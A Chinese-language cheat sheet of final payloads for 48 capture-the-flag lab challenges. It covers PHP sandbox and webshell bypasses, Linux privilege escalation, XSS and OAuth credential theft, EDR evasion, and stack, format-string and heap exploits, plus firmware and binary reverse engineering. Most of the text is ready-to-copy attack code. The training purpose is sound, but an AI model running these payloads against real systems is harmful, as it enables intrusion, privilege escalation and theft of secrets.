分级通关第三级 · 通关速查手册

3 大方向 · **12** 个专题 · **48** 关 —— 每关保留「考点 / 一句话思路 / 最终 payload」，细节见仓库同名 writeup。

> **使用说明**：本册按专题成页，一页一个方向，可单独抽页携带。所有 IP / 端口 / 密钥均为当次靶机值，复用时需替换；偏移与目标地址在同类题中固定，可直接抄用。

01 内网渗透与高级社工

免杀 payload 制作 PHP 代码执行沙箱 · 静态黑名单 / 沙箱检测 / 函数名过滤

G1 静态关键词黑名单 chr 造字符 + 字符串拆分

后端 eval 执行提交的 PHP。黑名单子串匹配：`system/exec/shell_exec/passthru/popen/proc_open/cat/flag/ / | ` $ > <`。文件读取函数不在名单内，只需绕开 `/` 与 `flag` 两个词。

```
readfile(chr(47).'fl'.'ag');
```

G2 无字母数字 WebShell 标点异或 + 动态函数调用

`$_` 是合法变量名，可作函数名载体；两个非字母数字标点异或可得到任意字母，再用 `.` 拼接。示例：`(')'^'['`=r、`('%'^'@')`=e。

```
$_=((')'^'[').('%'^'@').('!'^'@').('$'^'@').('&'^'@').(')'^'@').(','^'@').('%'^'@'));$_('/'.('&'^'@').(','^'@').('!'^'@').('\''^'@'));
```

G3 沙箱动态检测绕过 检测条件与真实 flag 前缀不匹配

静态层同 G1；动态层只判断沙箱输出是否含 `flag{`，而本题 flag 前缀为 `vmc{`，检测形同虚设，G1 payload 直接打穿。若检测逻辑正常，则改为输出编码后的内容。

```
readfile(chr(47).'fl'.'ag');
// 通用绕法：不让明文出现在沙箱输出里
echo base64_encode(file_get_contents(chr(47).'fl'.'ag'));
```

G4 敏感函数名过滤 eval 未过滤 → 拼接函数名

`readfile`、`chr` 均被拦，但 `eval` 放行。把函数名拆成两段字符串拼接，静态检测就看不到完整敏感词。

```
$func = "base64_" . "decode";
eval($func('cmVhZGZpbGUoY2hyKDQ3KS4nZmwnLidhZycpOw=='));
// 等价直连写法
$f = "readf"."ile"; $c = "ch"."r"; $f($c(47).'fl'.'ag');
```

权限提升维持 Linux 提权四件套 · sudo / SUID / cron / 竞态

G1 sudo 免密命令滥用 GTFOBins: find

`sudo -l` 得到 `(root) NOPASSWD: /usr/bin/find`，`find -exec` 可以执行任意命令。

```
sudo find /etc/hostname -maxdepth 0 -exec sh -c 'id; cat /flag' \;
```

G2 SUID 程序 + PATH 劫持 svcstat 内部以相对路径调 ps

`find / -perm -4000 2>/dev/null` 发现可疑的 `/usr/local/bin/svcstat`（root:root、带 s 位），运行后输出 `ps -ef` 结果 —— 说明它内部调用了未写全路径的 `ps`。伪造同名文件并把它所在目录塞到 PATH 最前。

```
echo "cat /flag" > ~/ps && chmod +x ~/ps
export PATH=~:$PATH
/usr/local/bin/svcstat
```

G3 cron 定时任务 + tar 通配符注入 /etc/cron.d 每分钟 root 执行 tar czf *

`/etc/cron.d/backup` 中 root 每分钟执行 `cd /var/backups/incoming && tar czf ... *`。该目录可写，于是用 `-` 开头的文件名冒充 tar 选项，借 `--checkpoint-action=exec` 执行命令。

```
cd /var/backups/incoming
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec='sh shell.sh'"
echo 'cat /flag > /tmp/flag' > shell.sh && chmod +x shell.sh
# 等一分钟，通配符展开后等价于：
# tar czf data.tar.gz --checkpoint-action=exec='sh shell.sh' --checkpoint=1 shell.sh
cat /tmp/flag
```

G4 TOCTOU 符号链接竞态 publishd 每 0.2s 检查 -f 再 cat

root 脚本循环判断 `[ -f "$f" ] && [ ! -L "$f" ]` 后 `cat "$f" > /var/published/out`，检查与使用之间存在窗口。用两个脚本对撞：一个疯狂在普通文件与指向 `/flag` 的软链之间切换，一个疯狂读产物。

```
# a.sh — 制造竞态
while true; do touch /var/spool/publish/report; ln -sf /flag /var/spool/publish/report; sleep 0.1; rm -f /var/spool/publish/r
eport; done
# b.sh — 收 flag
while true; do cat /var/published/out; sleep 0.1; done
# 执行：./a.sh & ./b.sh
```

社交平台钓鱼 身份标识不一致 / XSS / OAuth / JSONP

G1 Unicode NFKC 同形字账号 注册去重与登录解析用了两套规则

注册按原始字符串去重（`official` 已被占），但登录/身份解析走 `normalize("NFKC", name).casefold()`。全角字母归一化后与半角完全相等，于是用全角名注册即可顶替官方账号。

```
用户名：ｏｆｆｉｃｉａｌ   # U+FF4F U+FF46 U+FF46 U+FF49 U+FF43 U+FF49 U+FF41 U+FF4C
密码：  pwn123
# 注册后自动登录并跳转 /dm，直接读官方私信里的凭据
```

G2 存储型 XSS 打客服后台 工单详情未过滤 · 回写 /ticket/1/reply

工单详情可存 HTML，客服（管理员）会打开工单页。用 `onload` 把页面已渲染文本（含密钥）POST 回自己的工单。过滤只删 `<script`，用 `<svg onload>` 或 `<sc<scriptript>` 绕过。

```
<svg onload="fetch('http://IP:PORT/ticket/1/reply',{
  method:'POST',
  headers:{'Content-Type':'application/x-www-form-urlencoded'},
  body:'body='+encodeURIComponent(document.body.innerText)
})"></svg>
```

G3 OAuth 2.0 授权码劫持 scope 未校验 · redirect_uri 可回环

自建应用拿到 client_id / secret / redirect_uri，构造授权链接发给管理员，管理员点开即生成绑定其身份的 code；再用 code 换 access_token，读 `/api/me`。`scope=private` 为猜解值。

```
http://IP:PORT/oauth/authorize?client_id=app_74457116de74&redirect_uri=/oauth/cb/app_74457116de74&scope=private
# 拿到 code 后：
POST /oauth/token   client_id, client_secret, redirect_uri, code, grant_type=authorization_code
GET  /api/me        Authorization: Bearer <access_token>
```

G4 JSONP 绕过 CSP + HttpOnly callback 可控 → 借管理员会话读内部接口

页面尾部引用 `/api/jsonp?callback=showNotice`，callback 直接拼进脚本，可注入任意 JS（同源、且不受 CSP 限制）。HttpOnly 拿不到 cookie，但可以借会话直接请求 `/admin/secret`，把结果回写到工单。

```
<script src="/api/jsonp?callback=fetch('%2Fadmin%2Fsecret').then(r%3D%3Er.text()).then(x%3D%3Efetch('%2Freport%2F1%2Freply'%2
C%7Bmethod%3A'POST'%2Cheaders%3A%7B'Content-Type'%3A'application%2Fx-www-form-urlencoded'%7D%2Cbody%3A'body%3D'%2BencodeURICo
mponent(x)%7D))"></script>
// 可读形式
fetch('/admin/secret').then(r=>r.text()).then(x=>fetch('/report/1/reply',{
  method:'POST', headers:{'Content-Type':'application/x-www-form-urlencoded'},
  body:'body='+encodeURIComponent(x) }))
```

终端 EDR 绕过 命令行审计 / execve 拦截 / libc hook / syscall 审计

G1 命令行子串审计 转义符 + 通配符

`cat /flag` 命中 `flag`，`cat /f???` 又命中 `cat`。审计看的是原始命令行字符串，而 shell 解析在审计之后：反斜杠拆开命令名，通配符拆开文件名，两头都不出现完整敏感词。

```
ca\t /f???      # shell 去掉反斜杠后即 cat /flag
nl /f*          # 备选：nl 不在名单，/f* 由 shell 展开
```

G2 execve 拦截 LD_PRELOAD 钩子 + 禁止派生子进程

命令被塞进 `/bin/sh -c` 且 `LD_PRELOAD` 挂了 guard，任何 `execve` 都被阻断。改用不派生子进程的 shell 内建命令（`read/echo/printf/set` 等）。

```
read FLAG < /flag && echo $FLAG
```

G3 libc 层 open hook 绕开封装函数，直接走 syscall

EDR 在用户态 hook 了 libc 的 `open`，`cat` 和 `fopen` 全被拦。syscall 指令不经过 libc 封装，钩子失效。

```
#include <sys/syscall.h>
long fd = syscall(SYS_open, "/flag", 0);
syscall(SYS_read, fd, buffer, sizeof(buffer));
printf("%s\n", buffer);
```

G4 syscall 参数审计 路径字符串匹配 → 相对路径变形

在 G3 基础上 EDR 开始审计 syscall 参数，但仍按字面匹配 `/flag`。加一段无意义的 `..` 回退，内核解析结果相同，字符串不同。

```
long fd = syscall(SYS_open, "/tmp/../flag", 0);
syscall(SYS_read, fd, buffer, sizeof(buffer));
printf("%s\n", buffer);
```

02 系统层漏洞利用与逆向分析

> **栈溢出偏移速查**（32 位 PE 为 `p32`，64 位 ELF 为 `p64`；目标统一为 `get_flag` / `print_flag`）

关卡	缓冲区 / 偏移	目标地址	关键约束
DEP-G1	`64 / 68`	`0x00401000`	纯 ret2text，无参数
DEP-G2	`128 / 132`	`0x00401000`	参数 0xDEADBEEF；地址后需再填一个假返回地址
DEP-G3	`256 / 260`	`0x00401000 → 0x00401010`	先 `set_key(0xCAFEBABE)` 再 `get_flag`
DEP-G4	`128 / 132`	`0x00401000`	先满足前置 `fread(0x200)`，再 gets 溢出
GS-G1	`256`	`0x00401000`	程序泄露 buf 与全局 cookie，EBP = buf + 0x104
GS-G2	`64`	`0x00401000`	格式化串泄露 cookie（第 80 个槽位）
GS-G3	`64`	`0x00401000`	改函数指针，绕开 ret 前的 cookie 检查
GS-G4	`256 / 320`	`0x00401000`	先 fread(64) 打格式化串取 EBP，再 gets 溢出
补丁-G1	`64 / 72`	`0x004011D6`	x86-64 需 ret gadget 0x0040101A 对齐栈
补丁-G2	–	`0x00401296`	格式化串任意写，改写 0x00404098 处函数指针

DEP 数据执行保护利用 32 位 PE · gets 溢出 · 栈不可执行 → ret2text

G1 基础 ret2text Ghidra 定位 get_flag 0x401000

栈不可执行，但 `.text` 可执行。溢出覆盖返回地址跳程序自带函数即可。

```
payload = b"A" * 68 + p32(0x00401000)   # buf 64 + saved EBP
```

G2 带参数的 ret2text get_flag(int key) 校验 0xDEADBEEF

cdecl 参数在栈上。返回地址之后紧跟的是「假返回地址」，再之后才是第一个参数 —— 少填一个 4 字节就会被当成返回地址。

```
payload  = b"A" * 132
payload += p32(0x00401000)   # get_flag
payload += p32(0x00401000)   # 假返回地址（内容不限）
payload += p32(0xDEADBEEF)   # param1
```

G3 构造 ROP 链 set_key 写全局 → get_flag 校验

get_flag 不再从栈取参，而是校验全局变量 `0x0041D9B8` 是否等于 `-0x35014542`（即 `0xCAFEBABE`）。程序恰好导出了 `set_key(param)` 写这个全局，串成两跳链。

```
payload  = b"A" * 260
payload += p32(0x00401000)   # set_key，返回后落到下一格
payload += p32(0x00401010)   # get_flag
payload += p32(0xCAFEBABE)   # set_key 的参数（同时充当 get_flag 的假返回地址）
```

G4 前置 fread 消耗 先读 0x200 字节才进入 gets

`_fread(&READ_ADDR,1,0x200,_File)` 先吞掉 512 字节，然后才 `gets(buff)`。`_File` 是库内数据不是局部变量，所以偏移仍是 128+4。

```
sock.sendall(b"A" * 511 + b"\n")            # 喂饱 fread(0x200)
sock.sendall(b"A" * 132 + p32(0x00401000))  # gets 溢出
```

GS 缓冲区安全检查利用 MSVC /GS · 栈 cookie · 泄露 / 绕过 / 覆盖指针

G1 程序主动泄露 cookie printf 输出 Buffer@ 与 Cookie:

栈 cookie = `__security_cookie ^ EBP`，存于 `EBP-4`，缓冲在 `EBP-0x104`。程序把两者都打印出来了，直接重建。

```
ebp = buf_addr + 0x104
stack_cookie = global_cookie ^ ebp
payload  = b"A" * 256
payload += p32(stack_cookie)   # 伪造 cookie
payload += p32(0xdeadbeef)     # saved EBP（get_flag 不返回，随便填）
payload += p32(0x00401000)     # ret = get_flag
```

G2 格式化字符串泄露 cookie printf(buf256) 直接可控格式串

buff256 在 `Stack[-0x148]`，cookie 在 `Stack[-0x8]`，每 4 字节一个槽位，故第 `(0x148-0x8)/4 = 80` 个 `%p` 就是栈上 cookie（0-based）。

```
r.sendline(b'%p ' * 81)
cookie = int(r.recvline().split()[80], 16)
payload = b"A" * 64 + p32(cookie) + p32(0xdeadbeef) + p32(0x00401000)
```

G3 覆盖函数指针绕过检查 p_function 位于 buff 与 cookie 之间

函数在 `gets` 之后调用 `(*p_function)()`，而 `p_function` 在栈上位置比 cookie 更靠近缓冲区。改它就不用碰 cookie，安全检查根本走不到。

```
payload = b"A" * 64 + p32(0x00401000)   # buff[64] 之后紧邻 p_function
```

G4 两层栈帧：fmt 取 EBP + gets 溢出 printf_wrapper(buff64) 后 gets(buff256)

第一次输入进 `buff64` 并被当作格式串，栈上第一个 `%p` 正好是漏洞函数的 EBP；配合程序泄露的全局 cookie 算出栈 cookie。第二次 `gets(buff256)` 完成溢出，偏移为 256+64。

```
r.sendline(b'%p' * 31)
EBP = int(stack[0], 16)
cookie = global_cookie ^ EBP
payload = b"A" * 320 + p32(cookie) + p32(0xdeadbeef) + p32(0x00401000)
```

安全补丁对比分析 v1 / v2 差分 · 补丁即漏洞点

G1 gets → fgets 64 位 ELF · 需栈对齐

v1 导入 `gets`、v2 换成 `fgets(buf, 0x40, stdin)`，补丁点即漏洞点。username 在 `RBP-0x40`，到返回地址 64+8。System V ABI 要求 CALL 时 16 字节对齐，故先滑一个 `ret`。

```
payload  = b"A" * (0x40 + 8)
payload += p64(0x0040101a)   # ret gadget，对齐栈
payload += p64(0x004011d6)   # print_flag
# Username 处发送 payload，Password 随便填
```

G2 printf(fmt) → printf("%s") 格式化字符串任意地址写

输入缓冲区从第 10 个位置参数开始出现，payload 补齐 32 字节后地址落在第 14、15 槽。用 `%hhn` 写高字节、`%hn` 写低两字节，避免 `%n` 产生 4MB 输出。

```
payload  = b"%64c%15$hhn%4694c%14$hn"
payload  = payload.ljust(32, b"A")
payload += p64(0x00404098)       # 低 2 字节 → 0x1296
payload += p64(0x00404098 + 2)   # 高 1 字节 → 0x40
# 结果：该函数指针被改成 0x00401296 (get_flag)
```

G3 UAF：delete 后指针未清 obj-mgr 四个命令

v1 的 `delete` 只 `free` 不清表，`use` 仍会调用表里的函数指针。删掉后用 `alloc_data` 申请同尺寸块即可原位覆盖。

```
create 1
delete 1
alloc_data 1 0x004012b6
use 1
```

G4 16 位乘法截断 → 堆溢出 malloc(size) 用 16 位，memcpy 用 64 位

`size = buff_1 * buff_0` 存进 16 位变量后回绕；`memcpy` 的长度 `n` 用 64 位计算，于是拷贝量远超分配量，直接盖掉紧邻的 `exec_ptr`。64 位下 malloc 最小 chunk 为 0x20。

```
# 3 * 21846 = 0x10002 → 截断后 malloc(2)
payload  = p16(3) + p16(21846)
payload += b"A" * 0x20          # 覆盖最小 chunk
payload += p64(0x004013A2)      # exec_ptr → 目标函数
```

软件逆向静态分析 异或 / RC4 / 位变换 / 花指令

G1 单字节异或校验 静态链接 stripped ELF · 长度 42

从 `entry` 追 `__libc_start_main` 的第一参数得 main；字符串 `Enter the flag:` 定位。核心循环 `(input[i] ^ 0xAA) == enc[i]`，密文在 `0x481140`。

```
data = [0xcc,0xc6,0xcb,0xcd,0xd1,0x9d,0xcf,0x99, ... ]   # 0x481140，42 字节
flag = ''.join(chr(b ^ 0xAA) for b in data)
```

G2 RC4 KSA 256 轮 + PRGA 逐字节异或

伪代码里 0~255 初始化 S 盒、`j = (j + S[i] + key[i%len]) % 256`、再交换 —— 标准 RC4。密钥取 `0x140004070` 前 8 字节，密文取 `0x140004040` 前 42 字节。

```
KEY = bytes([0x2F,0x9E,0x4A,0xC3,0x71,0x85,0xD6,0x1B])
plain = rc4(KEY, ENC)      # 异或可逆，加密函数直接当解密用
```

G3 位变换 + 半字节查表 ROL4 → ROR3 → nibble S-box

逐字节 `_ROL1_(b,4)` 再 `_ROR1_(b,3)`，然后拆高低 4 位分别查 16 字节表拼回。逆运算：先反查表，再 ROR4、ROL3。

```
b = ror4(rol3(sbox_inv[b >> 4] << 4 | sbox_inv[b & 0xF]))
# 等价：reverse_14000149C 后 reverse_1400014B2
flag = ''.join(chr(reverse_byte(x)) for x in ENC)   # 42 字节
```

G4 花指令 + 异或 jz/jnz 跳进指令中间

`0x401905` 处 `jz/jnz` 跳到 `call` 的第二个字节，反编译器直接罢工。把 `0x401909` 的 `E8`、`0x40190E` 的 `48` 都改成 `90`(NOP)，再在 `0x401905` 按 P 建函数，逻辑立刻清晰。

```
# 修复后：while ((input[i] ^ 0x7C) == byte_481140[i]) i++
flag = ''.join(chr(b ^ 0x7C) for b in data)   # 0x481140 前 42 字节
```

03 高级工具与逆向专项

Binwalk 工具使用 固件/镜像拆解 · 提取 → 识别 → 解密

G1 图片尾部拼接隐藏数据 PNG 后接 gzip + ELF

PNG 解析到 `IEND` 即停止，尾附数据不可见。`binwalk` 扫出 0x0 PNG / 0x90B gzip / 0x957 ELF，`-e` 自动解压出 base64 文本。

```
binwalk logo.png
binwalk -e logo.png
# v3.x → extractions/logo.png.extracted/90B/decompressed.bin
# v2.x → _logo.png.extracted/
# 内容：ZmxhZ3tlNGE3YzJmOS0xYjNkLTRlOGEtOWM2Zi0yZDViOGUxYTRmN2N9
# 解码：flag{e4a7c2f9-1b3d-4e8a-9c6f-2d5b8e1a4f7c}
```

G2 递归提取 + 单字节异或 firmware.bin 内嵌 payload_xor5A.bin

`-Me` 递归匹配并提取所有层级。挖出的文件名直接把密钥写脸上了：`xor5A`。

```
binwalk -Me firmware.bin
python -c "d=open('payload_xor5A.bin','rb').read(); print(bytes(x^0x5A for x in d))"
```

G3 squashfs 文件系统 + 凯撒 /etc/config/flag.conf

固件里是 squashfs，需 `squashfs-tools` 才能解。`flag.conf` 中 `synt{...}` 是 ROT13 变形（`s→f`、`y→l`、`n→a`）。

```
apt install squashfs-tools
# CONFIG_FLAG=synt{3q9o6s2p-8n1r-4q7o-ns9p-1r4n7q2o6p8s}
# ROT13 → flag{3d9b6f2c-8a1e-4d7b-af9c-1e4a7d2b6c8f}
```

G4 熵分析定位加密区 + AES device.img · 0x250000 之后高熵

`binwalk -E` 画熵图，0x250000 之后接近 8 bit/byte，说明是压缩或加密。按偏移切片后，明文 JSON 尾部泄露了 `decrypt_key`，试出 AES-256-ECB。

```
binwalk -E device.img
dd if=device.img of=encrypted_data.bin bs=1 skip=250000
# 尾部 JSON: "decrypt_key": "3f8a2c1d7e4b9f5a0c6d2e8f1b7a4c3d9e5f2b8a0d6c4e1f7a3b9d5c2e8f4b1a"
AES.new(bytes.fromhex(KEY), AES.MODE_ECB).decrypt(payload)
```

Ghidra 工具使用 反编译 · 数据类型 · PyGhidra 脚本 · VM

G1 Feistel 网络逆推 2 轮 · 4 块 × 8 字节 · UUID 骨架

verify 要求长度 42、`flag{` 开头、`}` 结尾，位掩码 `0x10842000` 规定第 13/18/23/28 位必须是 `-`，抽出 32 个 hex 字符做 4 组 Feistel。`F(x)=x*0x9E3779B9+0xDEADBEEF`，加密可逆。

```
def F(x): return ((x * 0x9E3779B9) + 0xDEADBEEF) & 0xFFFFFFFF
def dec(blk):
    nL, nR = struct.unpack('<II', blk)
    R = F(nL) ^ nR
    L = nL ^ F(R)
    return struct.pack('<II', L, R)
# 32 字节密文逐块解出 → 按 {13,18,23,28} 插 '-' → flag{...}
```

G2 链表校验 + 结构体还原 Data Type Manager 建 Node

在 Data Type Manager 建 `Node{value1,value2,index,checksum,reserved,next}` 并建 `Node*`，Retype Variable 后伪代码立刻可读。遍历链表，checksum 通过就写 `value1^value2` 到 `index`。

```
s = b0 + b1 + b2
if b2 < 0x24 and b3 == ((s + 5 * (s // 0xFB)) & 0xFF):
    flag[b2] = chr(b0 ^ b1)
```

G3 PyGhidra 脚本读内存 Window → Script Manager → Create New Script

核心是 `decrypt_char(p1,p2)`：`s = p1*7+3`，取 `strs[p1][p2]` 异或 `(s + s//251*5)`，最后 `& 0x7f`。p1/p2 由 `ASSEMBLE_HI/LO` 拼出。

```
p1 = ((HI[i] << 8) | LO[i]) >> 2
p2 = LO[i] & 3
s  = p1 * 7 + 3
c  = ((s + (s // 251) * 5) & 0xFF) ^ strs[p1][p2]
flag += chr(c & 0x7F)
```

G4 手写 VM 解释器模拟 opcode 0~5，字节码在 0x140004060

`vm_run` 是一个极简栈机。直接在 PyGhidra 里按同样的语义跑一遍字节码，把 `buff[imm]` 收集起来就是 flag 内容，不必手算。

```
0 quit | 1 push imm | 2 xor | 3 rol1 | 4 add imm | 5 pop → buff[imm]
# PyGhidra: 从 0x140004060 取 opcode，维护 72 字节栈与 sp/pc
```
